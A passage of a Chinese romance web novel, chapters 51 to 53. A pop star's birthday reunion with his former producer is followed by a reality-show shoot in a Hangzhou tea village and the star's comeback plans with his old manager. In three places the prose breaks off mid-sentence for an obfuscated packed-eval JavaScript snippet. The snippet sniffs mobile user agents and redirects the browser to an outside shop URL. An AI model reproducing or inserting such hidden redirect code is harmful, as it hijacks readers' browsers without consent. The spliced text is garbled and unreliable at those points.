大哥话还没说完,大明星嗖嗖地就走了。砰地一声,那屋的门关上了。 屋内,易卿尘变得拘谨又慌乱,因为今天的杨原野好像有点儿不太一样,眼里的光特别亮,不知道是不是这两天发生了太多的事儿,给刺激着了。 易卿尘默默走去窗边,把蛋糕放在桌子上,一边解开蛋糕盒子的墨绿色缎带,一边说: “这可是今天最后一个栗子蛋糕,被我给买到了,但可惜只有6寸,从前你一个人就能吃光一整个8寸的栗子蛋糕……” 啪嗒一声,杨原野抬手把灯关了,促狭的房间霎时一片昏暗。易卿尘心尖乱颤,忽觉右肩一沉,腰上一紧,他被杨原野从背后抱住了,温暖的手掌紧贴他的腰间。 杨原野炙热的呼吸打在易卿尘右侧的颈动脉处,头发上细密的雨珠蹭在他的侧脸上,脖颈上,耳朵上,又湿又痒,杨原野一蹭,他瞬间起了一身的鸡皮疙瘩。 环着他腰的胳膊猛地收紧,他被严丝合缝地嵌进那个怀抱里去,像两块完美的拼图。 一瞬间,他的心脏想要越狱逃出胸膛。 窗外的月光被细雨引诱,只留给易卿尘黑暗中微弱的视力。易卿尘不得不调动其它的感官,来判断此刻的状况。 空气中是栗子蛋糕的香甜,杨原野的鼻尖在他的耳鬓边轻柔地磨蹭着,而背后贴着他的某一个隐秘位置,年轻的荷尔蒙正在昂扬。易卿尘的太阳穴突突直跳,就在杨原野的犬牙咬住他耳垂的嫩肉时,他猛地从那个怀抱中强行挣脱。 易卿尘转身倚靠着书桌边沿,呼吸一整个大乱套。承认吧,他自己也起了反应。 “你你……你别弄了。”易卿尘吓得舌头打结,“这可真不行。” “。” 杨原野的声音低沉,带着欲色,“不行,是我不行还是你不行?” 易卿尘竭力保持清醒理智,守住防线,哑声说道:“都不行,咱们是朋友……” 呵,去他娘的无中生友吧。 杨原野在黑暗中,像一头被迫和兔子做朋友的猎豹,压制着肉食的天性,喘着粗气。 感受到易卿尘瑟瑟发抖的身体,半晌,杨原野强压着□□,哑声说道:“抖什么?我逗你玩呢……” “别捉弄我了,把灯打开吧,我怕。” 怕什么?怕接受自己是gay吗?因为感冒,易卿尘央求的声音沙沙的,听得某人麻酥酥的,心生怜爱,不忍心吓到他。 杨原野某处鼓胀的欲望正值狂躁,需要点儿时间退潮,并不想现在开灯,赶紧找了个借口。 “……过生日不点蜡烛吗?” “噢,也对。” 易卿尘打开蛋糕盒子,却没见着蜡烛。他又用微弱的视力里里外外把盒子查看一番,确认了这个品牌的蛋糕并不附赠蜡烛。 他不好意思地说:“哎呀,我忘买蜡烛了……要不我下载个‘电子蜡烛’小程序?以前刷短视频的时候看到过,你知道那种吧,吹一下还会灭。” “……” 杨原野放开易卿尘,从兜里掏出一根烟点着,使劲儿嘬了一口。黑暗里,橙红的烟头明明灭灭,烟雾蛇形走位,升到一定高度后直通上青天。 “就用这个。” 昏暗的场景里只能模糊地看个影儿,易卿尘望着桌上的蛋糕:平整的胚子上,奶油做的造型好像一座小土丘,插在土丘前面的一根正嗖嗖地冒着诡异的烟,像是在上坟。 “……这合适吗?祭拜祖先时才点烟吧?”易卿尘说,“你是想让他们来旁听你许愿?” “你害怕了?老祖宗不会害自己家人,老杨小杨都是杨。” “你们老杨家难得聚聚,我一个外人在,好像有点多余……” “怎么,你……不想当‘外人’?” 杨原野又逗他。 易轻尘脸上发烫,说,“快许愿吧!我没多少时间了。” 他不是要去驾鹤,而是去赶飞机,他今晚必须回去剧组。 杨原野忽然就安静了,挑逗或者扯淡的话都没了。很快,他双手合十,对着蛋糕闭起眼睛。 易卿尘好奇:“许的什么愿?前两个是可以说出来的。” 杨原野伸手拧开桌上的台灯,暖黄色的光源很柔和。 “易卿尘,你今晚能不走吗?” 易卿尘微微张了张嘴,有些吃惊。杨原野今天居然不赶他走了,还留他。而且气氛似乎格外暧昧,弄得他止不住的心慌。 “嗯,不太行。我是硬请了几个小时的假从无锡飞回来的,明天一大早又要开工。一会儿11:40的飞机,我必须得赶回去,对不起啊……” “哦。”杨原野低了低头,神色暗淡。 易卿尘笨拙地转移话题:“还没说说你许的愿呢。” 灯光下,杨原野抬起一张悻悻的脸:“不说了,许愿没用,第一个就没实现。” “易卿尘。” 杨原野连名带姓地叫他。 “嗯?” “我上一次过生日,还是在你家,你爸给我包了饺子。” 易卿尘在心里数了数:“是……四年了……” 易卿尘怅然,他自己上一次过生日也是四年前,那时候爸爸还在世,提前就给他张罗了。虽然没什么钱,就他俩,老头还是选了个洋馆子,买了那时最流行的黑天鹅蛋糕,花钱在饭店开了瓶红酒。 有人给过生日真好,被人惦记着,就觉得自己也挺特别的。 他默默切了一大块栗子蛋糕,递给杨原野:“生日快乐,全吃了,不许剩福根儿。” “你不吃?” “不吃了,你吃。”易卿尘还在感冒,没什么胃口。 杨原野接过蛋糕,拉开椅子在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12881170|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌前坐下,很珍惜地一口一口吃。他看着易卿尘坐在一旁的床沿,将桌上长长的墨绿色缎带一点一点地收拢,整整齐齐地码成一卷儿。 易卿尘依然记得他的生日,记得他喜欢的口味,本该在千里之外聚光灯下享受无尽风光的大明星,此刻却坐在狭小简陋的合租房里,陪他吃蛋糕。 杨原野第一次觉得,能出生在这个世界,感受这一切,确实很值得纪念。 吃完一整块,杨原野把空盘子往易卿尘眼前一伸:“我还要。” 易卿尘愣了愣,随即笑道:“这么喜欢啊。” 喜欢你。还有你特意买给我的蛋糕。 杨原野点点头,很快盘子里又多了一大块栗子蛋糕。 “你嗓子听着还有点儿哑,身体还难受吗?”杨原野边吃边问。 易卿尘抬头看他,听着关心的问话,嘴角不自觉翘起来。 “我每次感冒都得一周才能好利索,扛过去就行,没事的。”易卿尘说,“我也没时间准备像样的生日礼物,你想要什么,我以后给你补上。” 杨原野咽下最后一口蛋糕,抽了张纸巾擦了擦嘴。一旁的桌上放着燃尽的香烟,空气中是烟草混合栗子的味道,很好闻。 “你送的这个‘大礼’,已经够让我意外了。” “嗯?哦,你说那个啊……”易卿尘反应了一下,才明白他说的是网上的事,“你不怪我就好了。” “但是小尘,以后不要再这么做了。” “……” 易卿尘垂眸嗯了一句。 “我不是怪你,只是你知道这有多危险吗?这背后有着你没法想象的资本和利益关系,连我爸当年都栽了大跟头,你摸不清深浅的。”杨原野说。 易卿尘点点头,眼睛里闪了闪。 “不过鼎鑫是没法东山再起了,能勉强还完债已经不容易。估计这次我的事儿闹得再大,也就是我一个人的事儿,暂时应该不需要劳动商界有名有姓的人。“杨原野又极严肃地补充道,“但,我还是不要你再涉险,你记住了吗?” 易卿尘又点了点头。他想让气氛变得轻松些,于是扬着调子说:“我的办法还挺有效的吧?你要不,也夸夸我?” 杨原野唇角弯起,说:“你真的挺聪明的,能想到这些办法。借着朴基宇的事儿,先给我造个预言家人设,把路人的好奇心、好感度拉满。再请到权威新闻媒体平反校餐的事儿,彻底洗白我们家的同时再虐一波粉,鼓动他们去《中国唱作人》投票,给外界看到我如今的号召力。几个操作下来,我就摇身一变,成了资本追捧的对象。” 杨原野心如明镜:“最难的是,你甚至没有一句谎话和杜撰,就把我洗白了。” 杨原野看着眼前这张和四年前别无二致的脸,由衷地说:“易卿尘,你可比当年厉害多了。” “那是因为你本就不脏,真的假不了,假的也真不了。我再努力也没法把黑石洗成美玉。”易卿尘笑着回应:“况且我也没怎么厉害,都靠勤能补拙。天天研究你那些乱七八糟的微博,视力都下降了。不是,你那个小号一天发两三条,你怎么那么能说呢?” “那说明,我也曾是个愤怒的文青。”杨原野自嘲道。 “接下来你有什么打算吗?”易卿尘问。 “还没想好,”杨原野看着易卿尘,“你希望我怎么做?” “……我?你会听我的吗?” 51.051 龙井 他还会听他的吗?易卿尘没把握。 杨原野虽然桀骜叛逆,但对易卿尘这个制作人还是很认可的,曾经他说什么他都愿意听。 他让他练键盘,他就卯着劲儿的练;他让他改beats,他就一个一个改。虽然每次杨原野都要唧唧歪歪地嗔怪易卿尘,说他是“完美主义癌症晚期”。 如今没了制作人的身份,杨原野应该不会再听他的…… “不一定。”杨原野,“我可能不会都听你的。” 杨原野暗暗咬了咬唇,你曾经说走就走,如果有下次,我不会都由着你了。 “……”易卿尘虽然料到了这个答案,还是怔了一下,缓缓说道,“那些年我不在,留你一个人面对那些,一定很艰难吧?如今尽我所能,只想为你追回一些失去的时间,把选择权重新交回到你自己手上。至于你想怎么选,都随你心,我总是支持你的。” 台灯的橙黄光晕映在易卿尘琥珀色的眼睛里,看得人心驰。 这么多年,杨原野又一次感觉到自己不再是孤单一人站在冷风口。 也许易卿尘就是他的那把雨伞,挡着心口的风,抵抗人世的雨,坚定而温柔地站在他身边,在他最需要的时刻出现。 一群人喧嚣同路,不及与一人并肩。 “谢谢。”杨原野看着自己的样子倒映在易卿尘的眼眸里,“还有,对不起。我不该总是对你发脾气。” 易卿尘轻轻摇了摇头,漂亮的瞳仁弯成一道桥。 杨原野忽然看见,从那桥上走出一个小孩子模样的自己。 谢谢你小尘,我知道你也很累,可你总是把任性的权利让给我。 两人又聊了许久,易卿尘看了一眼墙上的挂钟,他真的该走了。在过去的半小时内,他已经看过三次钟了。 第一次,他想,这么晚马路上应该不会堵车,他再待十分钟也无妨。 第二次,他又想,自己没有行李要托运,过安检应该很快的吧,又待了十分钟。 第三次,他再想,怎么也想不出还有什么理由,让他在距离飞机起飞还有75分钟时依然在这里磨蹭。谁知杨原野这时从床底下翻出来几罐啤酒。寿星为大,易卿尘又有了一个借口,再待五分钟吧。 两个人总有说不完的话,时间不是用走的,而是坐着磁悬浮在飞。 拖到不能再拖,易卿尘终于起身:“那我走了。” “啊……哦,好。”杨原野起身相送,虽然只有五六步的距离。 易卿尘转身即将踏出门口,摸了摸裤兜,扭头问了句:“我没落下什么东西吧?” 和杨原野的目光对上,眸色落寞的人敛色屏气吐出两个字来: “我啊。” 小尘,你把我落下了。 易卿尘艰难地吞咽了一口虚无,移开了视线,说道:“别闹。” …… 京北的这场濛濛细雨一路下到无锡,转而变成了大暴雨。易卿尘到了机场已经是11:30,本以为铁定赶不上飞机了,没想到由于无锡的天气原因,飞机竟然晚点了,像是非要今晚把他带走似的。 待易卿尘走到登机口,地勤空姐正好拿起话筒,宣布开始登机。 “你把我落下了”,像是句咒语,飞机已经飞离了京北,可这句话还一直紧紧跟着易卿尘。 他从兜里掏出叠得整整齐齐的一小捆墨绿色缎带,细细地摩挲把玩。丝滑的触感,还带着似有若无的栗子蛋糕的香气。 易卿尘心中难以平静。 他忍不住回味今晚发生的所有事情,杨原野从街角出现,把他拉进怀里,牵他的手上楼,从背后拥着他,还有那一系列的生理反应,俩人像是一对小别的恋人,要是没有他及时踩住了刹车,恐怕现在已经…… 光是想想,脸都要发烧。 杨原野最后说“我啊”是什么意思,是怪自己四年前离开他,还是如今不想和他再分开,抑或只是一个玩笑? 易卿尘想啊想,想得快疯了。 如果四年前自己没有那么怯懦,没有离开,事情会不会就不一样了?那样杨原野可能不会结婚,也不会有孩子吧? 一道灵光闪过,易卿尘忽然意识到,事情也许还有另外一种解读。 小葵和她妈妈并没有和杨原野住在一起,这是为什么呢?有没有可能他们早就离婚了…… 易卿尘一下子血液沸腾,仿佛看见了一道生机。 本来是一颗完好无损的蛋,让人不知道如何下手。眼下,却有一道细细的裂纹,让这里面藏着的秘密呼之欲出,易卿尘忍不住上手去抠。 易卿尘爽快地花了五十块人民币,连上了机上Wi-Fi。一边琢磨措辞编辑消息,一边安抚自己扑通乱跳的小心脏。 离真相越近,他越紧张。 【阿野,向你打听个事儿。我有一个朋友,最近想离婚,你了解这方面的信息吗?】 这样应该很明显了吧?要是他们已经离婚了,阿野心里还有他,应该会顺势说出来吧! 他不介意他有过婚史,毕竟那时是他先抛下他走了的,易卿尘劝自己,要大方一点。 看看时间,已经过了半夜十二点,杨原野该不会睡了吧?要是那样,他就要再等上七八个小时,剑在头上,悬而未决,真是难熬。 易卿尘掐着手机,焦躁地盯住屏幕,一眨不眨。幸运的是,不一会儿手机就响了。 【yyy:为什么离婚?】 ……这是重点吗? 能不能先说结果…… 易卿尘哪里知道他这个捏造的“朋友”为什么要离婚……为了套出来杨原野的话,他只好胡编乱造。 【易卿尘:他说因为性格不合,具体的你别问了。你只说,你知不知道离婚的流程什么的,几年前的也行。】 叮——微信来了,易卿尘紧张兮兮地点开: 【yyy:我上哪儿知道去,不过我认识个离婚律师朋友,我可以帮你问问。但我觉得,性格不合就是借口,你这朋友是个渣男。】 易卿尘眼前一黑。 自己眼瞎,鸡蛋上哪里来的细纹?是他自己太着急孵小鸡。 那家伙没离婚还抱他,咬他耳廓,还tmd顶他屁股…… 易卿尘越想越气闷,恨不能立刻打电话给杨原野,痛骂他一顿,教他一撇一捺如何写个“人”字,可惜他在飞机上,都是“空谈”。 他恨恨地按灭手机屏幕,胸口起起伏伏。 不一会儿,手机又嗡嗡震动,易卿尘皱着眉,点开一看: 【yyy:我就和别人不一样,一旦认准了,绝对不会离婚。】 “……我靠!” 易卿尘没忍住,叫了出来,邻座的女人向他投去惊讶的目光。 他气得要命,手指在键盘上飞舞,力度大到能按碎屏幕。 消息发出,他立马切断了WiFi。后悔花这50块。 身子往后一靠,易卿尘愤愤地拉下头上的眼罩,睡觉。 真丝的黑色眼罩上面一行刺绣小字,写着——“非礼勿视”。 此时,杨原野躺在床上,为了自己暗戳戳地表的那波忠心而得意洋洋。 叮!一条新微信。杨原野兴奋地打开。 【易卿尘:渣男。】 ??? 什么意思? 杨原野眨了眨眼,琢磨了半天,终于想明白了。在他的引导下,易卿尘应该是才看出那个朋友的伪善,那种朋友真的要远离才行,他好心继续提醒他。 【yyy:你才明白啊,笨死啦!以后记得保持距离。】 杨原野发完觉得很满意,他真是贴心。 - 无锡的录制工作正在如火如荼地进行中。 《中国唱作人》的第三、四期不是淘汰赛,而是真人秀,在无锡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12896308|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和杭州两地取景拍摄,为公益项目和非遗民俗创作歌曲,拉动地方文化产业发展。 因为易卿尘擅长民乐,古琴又自带非遗文化属性,节目组给他很用心地安排了剧本。 易卿尘在杭州的龙井村和茶农们一起生活、劳作,参与采摘鲜叶、杀青、揉捻、干燥的过程。 他还有幸实地参观了当年杨原野给他讲的西湖龙井“十八棵御茶树”,并创作了一首古琴伴奏的中国风歌曲《浪酒闲茶卧眠花》。 在龙井村,易卿尘结识了一个十六岁的少年,名叫吴隆载,村民们都叫他乌龙仔,他患有小儿麻痹后遗症,是个长短腿。 乌龙仔没怎么上过学,可是炒茶技术一流。爷爷是个手工炒茶大师,可惜前年已经去世了。 在乌龙仔家借住的两晚,他总是远远地看着易卿尘录节目。 杭州的夏天异常闷热,乌龙仔取来自己做的冰梅绿茶饮,偷偷羞涩地递给易卿尘。由于疾病,乌龙仔走路不是用手压着膝盖,就是用手扶着大腿,虽然行动不便,但还是一直默默为易卿尘忙前忙后的。 傍晚录制结束后,摄制组的人都去了村里的招待所,易卿尘和博博则留宿在了乌龙仔家。因为真人秀的素材是24小时不间断的,还有一个摄像师傅一齐留在吴家跟拍。 弯月如钩,悬挂在枝头,像一个串在竹签上的微笑。 易卿尘坐在葡萄架下,庭院里比屋内还更风凉些。远处的茶山被掩在浓稠的夜色里,悠悠茶香在空气中似有若无。 易卿尘在发愣,几天连轴转,他真的太累了,大脑靠放空来恢复机能。 忽然一只雪绒团子般的小猫踩着慵懒的步子从屋顶跃下,落在大水缸的原木色盖子上。“唉呦”一声,乌龙仔惊得一屁股跌坐在地。原来他刚刚一直躲在水缸后面偷看。 易卿尘循声望去,少年羞赧地冲他笑笑,露出一口并不整齐的牙齿。乌龙仔长相周正,算不上好看,是苏杭男子的那种清秀。 易卿尘冲他招招手,乌龙仔就扶着膝盖走了过去。 “喜欢这琴吗?白天我见你偷偷来摸了它好几次。”易卿尘指着石桌上的古琴问道。 乌龙仔怯生生地说:“我没给它碰坏吧?” 易卿尘笑着摇摇头:“没有没有,别紧张。这琴叫朝雨,是我爸爸给我做的。你想试试弹吗?我可以教你。” “真的吗?”乌龙仔又惊又喜,直到人已经坐在古琴面前,他都不敢相信这一切是真的。 易卿尘颇有耐心地教人弹琴。琴音陌陌溶在夜色中。 博博在一旁看着,忍不住掏出手机录下来,顺手发了一条po文。 此时,远在京北的杨原野正躺在被窝里机械地刷新着博博的朋友圈。易卿尘最近应该是非常忙,一条消息也没有发给他。他只好盯着博博,收集二手信息。 忽然,一条新内容冒了出来。 Yes! 幸亏他一天翻八百次,终于等来了易卿尘的蛛丝马迹。 迫不及待地点开: [BoB博:凉风有信,夏月无边,长夜漫漫,无心睡眠。] 文字配着一段小视频,画面里,易卿尘将一个男孩搂在身前,握着男孩的手,两人一同抚琴弄弦。 杨原野从被窝里弹起来。 EXO Me?这是什么……?! 从侧面拍摄的角度看去,易卿尘和那男孩的脸靠在一处,举止十分亲密。 视频中,琴曲生涩断续,弹的是《关山月》,一首初学难度的曲子,教学的人极有耐心。 视频只有几十秒钟,杨原野反反复复地播放,时不时地将视频暂停,拉开放大来检视画面人物的表情,生动地诠释了什么叫论帧审判。 啊……易卿尘他不是不接受同性吗……这一定是节目组安排的……他居然不是只对自己才这么温柔…… 大半夜的,好想死…… 52.052 回家 一小段《关山月》调不成调,磕磕绊绊地弹完了,易卿尘直起身子,撤开手,露出下面乌龙仔的手。那双常年炒茶的手还覆在琴弦上。 易卿尘的视线落在上面,心头一紧。 因为日日在滚烫的锅里炒茶,乌龙仔的一双手极为粗糙,像是涂过一层油漆似的,感受不到手掌的柔软,还有一手永远也洗不去的黑色“污垢”,一点不像一个十六岁少年。 饶是这样,乌龙仔却从来不敢用护手霜,因为炒茶的手不可以带任何味道。 乌龙仔后背的肌肉绷得很紧,易卿尘感觉到他在自己身前小幅度的颤动。 “怎么了?乌龙仔?”易卿尘放低了音量,柔声问道。 身前的少年抬起手臂抹了抹眼睛,又停顿了好一会儿,还是不肯转过身来。带着略重的鼻音,乌龙仔哝哝道:“我想回家……” 回家?这里不是他的家吗?易卿尘看着这小小少年单薄抽泣的背影,忍不住伸手慢慢地拍着他的背。 “不哭,哥哥在。” 易卿尘静静地陪着他。远处的博博原本坐在台阶上看着,见状也走过来蹲在一旁,握着乌龙仔的手。 半晌,乌龙仔抬起头,看着树枝上挂着的月牙,弯弯的,像一艘金黄的小船,闪着光,想要驶向更远的地方。 “爷爷不在了,我没有家了。”乌龙仔闷声说道,“我想离开这个村子,出去看看。反正我只有我自己了。我什么也不怕,就怕一辈子困在这里。以后去天上见了爷爷,跟他说的都是他原本就知道的事。” 易卿尘轻轻扳过少年的身子,让他看着自己。 “乌龙仔,你相信我吗?” 少年怔怔地点点头。易卿尘本是个陌生人,可却莫名地让他觉得安定。 “哥哥可以明白你说的那种感觉。我的爸爸几年前也去世了,我这次回到京北以后,至今都没去原来的房子看过一眼。就像你说的,没了亲人,那里就不是家了。” 乌龙仔没想到大明星也有这样的一面,于是下意识地攥紧了易卿尘的手。 “你一定可以走出村里的。就算腿脚不灵便,也没关系。可你要想想,出去之后靠什么生活。外面可能没有手工炒茶的活儿给你做,那你还能做什么呢?你有没有想过去读个技校?学一门别的手艺?” 乌龙仔被问得愣住了,他没想过这些。 “不着急,咱们慢慢打算。哥哥会帮你的。” “嗯,谢谢哥哥。” 夜深了,乌龙仔睡了,博博睡了,毛绒绒的小白猫也睡了。 易卿尘摘了腰上的麦克风耳返包,取下别在衬衫领夹上的录音设备。转了转酸痛的脖子,他翻出包里的手机准备设个闹钟,这才看见了杨原野半小时前发来的微信。 【yyy:小尘,忙完就早点回家。】 心中不知什么地方倏地塌了一块儿。 连日来的疲倦一瞬间铺天盖地袭来,把他裹紧,心里泛酸。 易卿尘也想回家了,可他的家在哪儿呢? 杨原野有家……有家了不起啊?了不起就别来勾搭他啊! 【易卿尘:你少管我。】 杨原野:“……” 他对别人那么温柔,对自己好凶…… 这一宿,杨原野翻来覆去,直到天快亮才睡着。 没过多久,杨原野还在蒙头大睡,手机铃声就响彻出租屋。他闭着眼睛靠运气按了接听键,晨腔沙哑道:“喂?” “你个小畜生,出这么大事儿都不知道找我!” 杨原野猛地睁眼,带着失控的晨腔叫道:“姬哥好。” “给你发了个地址,半个小时之后滚出来见我。” “遵旨。” 姬波一声令下,杨原野连滚带爬地起床。 一进餐厅,杨原野一眼就看见了一颗锃亮的卤蛋脑袋背对着门口,于是他径直走了过去,拍了下男人厚实的肩膀。 “姬哥!” 姬波扭头见了杨原野,堆叠的抬头纹瞬间舒展开了,哈哈大笑,连带着一颗光头都显得喜庆吉祥。 操着雄浑的烟嗓儿,姬波把身旁一个袋子扔给杨原野,道:“小崽子,给你带的家乡特产!” 杨原野坐进对面卡座,打开袋子一看,一大堆塑封好的哈尔滨红肠。 “哥你刚从东北回来?” “废话,要不我上火车站特产店给你买的红肠?你小子睡醒了吗?” 姬波是杨原野妈妈汪曼姿早年的经纪人,后来成立了自己的经纪公司。当年杨原野的音乐工作室也是挂在姬波的经纪公司名下,日常事务都是姬波亲自打理的。可惜后来经纪公司经营不善,姬波就回了东北,做起了直播带货。 姬波比杨原野大二十多岁,刀子嘴豆腐心,平时训他就跟训狗儿子似的。 杨原野飞扬跋扈的年纪,谁也管不住,就听姬波的话。姬波学过咏春和泰拳,能徒手捏断大鹅的脖子。 杨原野十几岁时调皮,被姬波卸过一条胳膊,疼得哇哇乱叫,从此以后就对姬波言听计从。 “这回这事儿谁帮你整的?干得漂亮!”姬波说。 杨原野打哈哈:“嗐,就纯属意外。” “意什么外?扯淡,你当你姬哥三岁小孩儿?” 杨原野只得从实招来,“是易卿尘,他帮的我。” 姬波听见这个名字就来气:“易卿尘?就把你甩了的那个小子?我还记得你当年那个怂样儿,不吃饭闹失恋,在家作妖,给我气的!” “……啊,就是他。” “我看见他上节目了,人倒是挺俊。你们俩……这是又好上了?”姬波皱眉问道。 “没有,人家看不上我。他就是人比较善良,作为朋友帮帮我……” “善良能把你甩了?等赶明儿我见了他,非得好好收拾收拾他!” “别——”杨原野叫高了一个八度。 “这就护上媳妇了!我算是白疼你了。”姬波叹了口气,怒其不争,“说正经的,你还要不要复出了?” “姬哥,我还没拿定主意。”杨原野说,“你知道我其实一直很喜欢弹琴唱歌,做音乐。” 姬哥一拍大腿:“那就做啊,你犹豫个什么?做不好还做不坏吗?” 杨原野长叹一口气:“你也知道,我爸一向不太支持我在娱乐圈发展,想让我接着学医或者从商。后来家里出了事儿,他一直在美国想办法弄投资移民,不知道什么时候能有信儿。” “唉,是。你妹真是可怜,我当年看了都揪心。她这种情况,去了国外兴许还能治。”姬波说,“不过,移民政策这几年收得挺紧,你爸有谱没?” “真不好说。所以我想能先干点儿什么,至少赚点儿钱,给我妹她们换个房子住,现在那个破地方,冬冷夏热,她们住得太遭罪。” “那还是娱乐圈来钱快。要我说,你就先在国内唱歌,等你爸那边有信儿了,你再走呗。” 姬波想了想,接着说:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12907750|131022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,我当年注册那个工作室还在,虽然人都跑光了,但咱们可以卷土重来啊,哥继续给你当经纪人。” “我看你的粉丝在《中国唱作人》给你砸了好多票,咱就从这个开始。你往前冲,多待一期咱就多赚一期的钱,争取能有一两首传唱度高的歌出来。其余的,哥帮你运作,咱这几十年的人脉关系,也该动用动用了。” 有姬波坐镇,杨原野仿佛一下就有了底气。 “《唱作人》的音乐总监是李达理,就是我在台湾训练营那个老师,对我很好。他前几天还找过我,还在等我信儿呢。” 姬波看事情要成,又打起了预防针:“但就是有一样儿,我得跟你先说明白。” “什么?” “易卿尘既然看不上咱,咱也不要去倒贴。别去给自己找不痛快。现在舆论没那么宽容了,艺人传绯闻本身就很麻烦,况且还是同性。你知道我什么意思,别害人害己。要是让我发现你又去犯贱,我铁定削你!”姬波声色俱厉地吓唬他。 说的有道理,就是不容易做到。 杨原野敷衍地哦了一声。 姬波照着杨原野的脑门胡了一巴掌,杨原野顿时眼冒金星。 “哦个屁,好好说一遍。” 杨原野:“我保证洁身自好,不再招惹易卿尘。” 姬波:“你要是做不到,他就一辈子硬不起来。” 杨原野急了:“关人家什么事!是我……咳咳……” - 很快到了杨原野搬家的日子。住了几年的小隔间,半个小时就收拾好了,他把全部家当打包装进三个大行李箱里,背着马丁吉站在门口跟每一个邻居合影、签名。 房东依依不舍地跟他握手道别,说道:“小杨,祝你前程似锦。” 杨原野深表感动,紧紧地回握他的手,说:“押金可以退我了吗?” 姬波在京北有几处房子,除了他自己住的,还有一套正好空置着,地理位置好,离什刹海、荷花市场那一片儿很近,方便饭后遛弯儿消食。 原本打算装修完了带媳妇去住,可是一直也没成行,因为一到夏天,媳妇就要回老家哈尔滨避暑;到了冬天,就要去三亚避寒,半个哈尔滨的中老年人都扎堆在三亚买房。 姬波反正做直播带货,流动作业,有网就行,于是就跟着媳妇到处跑。 这次回京北纯是为了杨原野,汪曼姿当年对他有提携之恩,小野又是他看着长大的,他义不容辞。 为了小野,姬波把什刹海那套房子连夜打扫了出来。那小崽子也毫不客气,当天就拎包入住了。 姬波嘴上骂他,心里却高兴。这些年的憋屈日子没让杨原野变得缩头缩脑,这小子还是那个不可一世的性子,不会让谁欺负了去。 第二天,杨原野去了趟他那个离婚律师朋友季淮山家,把当初寄存在那儿的全套录音设备都搬去了新房子。 季淮山昨晚在电视台录一档婚恋节目,当常驻嘉宾,凌晨四点才到家。眼下打着哈欠、穿着睡衣倚在门口,看杨原野搬进搬出。 临走,季淮山拍了拍杨原野的肩膀,说道:“需要帮忙随时找我。” 杨原野回头冲季淮山咧嘴一笑:“离婚律师对我说这话太不吉利。” “哈哈,那我祝你爱情甜蜜。” 杨原野抬抬手,扭头进了电梯。 爱情个鬼,甜蜜个头。 上次生日分别后,易卿尘就忽然不爱搭理他了,说好的作朋友呢? 53.053 弗朗 易卿尘就是故意在躲他。 前几天周泗淼组局喝酒,杨原野前脚在群里说他有空,易卿尘紧接着就说太忙;他发消息给易卿尘,连发了四天,对方总共就回一个字——“哦。” 他不知道自己怎么得罪了这朵娇花,明明在直播间里面对粉丝像春天般温暖,怎么面对他就变成秋风扫落叶?再不济,也是“朋友”啊。 他知道易卿尘恐同,难道是生日那天自己的行为太过轻浮,让人困扰了? 他可能需要正式道个歉,保证不再逾矩,只要易卿尘不躲他。可是打字打了一半,杨原野又陷入了自我怀疑中…… 每次见到易卿尘,他都忍不住想靠近,想触碰,想再一次拥有这个人。他真能做到不再逾矩吗? 保证不了,真的保证不了。 删了删了。 好在杨原野最近也忙了起来,没太多时间瞎琢磨。 自从官宣了他会在下期补位《中国唱作人》之后,杨原野的代言和商务就没断过。 姬波果然手腕老道,这一阵子只给他接主旋律、正能量的宣传,进一步巩固个人形象。 除此之外,杨原野的微博大号重新营业了,粉丝数量猛涨,而且都是忠字头的,发言的风格个顶个的雄赳赳气昂昂,好像粉了杨原野,是个特别值得骄傲的事儿。 某知名主持人戏称杨原野的粉丝团是“当代愤青俱乐部”。 这其实算是个夸赞。青年缺少愤怒就会随世俗苟且敷衍,浅尝多于深入;青年过于愤怒就容易陷入“好言是非”和“不辨是非”的漩涡里去。 而杨原野的微博是“当代愤青”健康发展的温床。 由于杨原野本身是京北大学高材生,代表着一顶一的头脑;他和易卿尘一起做的首张专辑《Mr.Y》除了两首情歌以外,其它作品多为对现实议题的感悟和思考,颇具当年Beyond的风格。所以,人们本能地认可他的表达。 杨原野还有着极好的幽默感,这一点许多人在刷他的小号wildest kiiid时就发现了: 他骂这个世界,也爱这个世界。 最后,也是非常关键的一点是,杨原野长得实在太帅了,而且是锋芒毕露的帅。那正是每一个愤青心中理想的自己。 粉的偶像,都是我们潜意识里希望成为的样子啊。 于是,青年们在这里尽情抒发,不屑肉麻,也不会过于激进。人们期待杨原野“发声”,并且对他的行为和言论有着天然的高容忍度,期待、鼓励他叛逆。 就这样,杨原野的人气像坐上了窜天猴,一路飙高,他本人的翻红甚至成了一种社会现象。 许多主流媒体纷纷联系他,想要做人物专访。 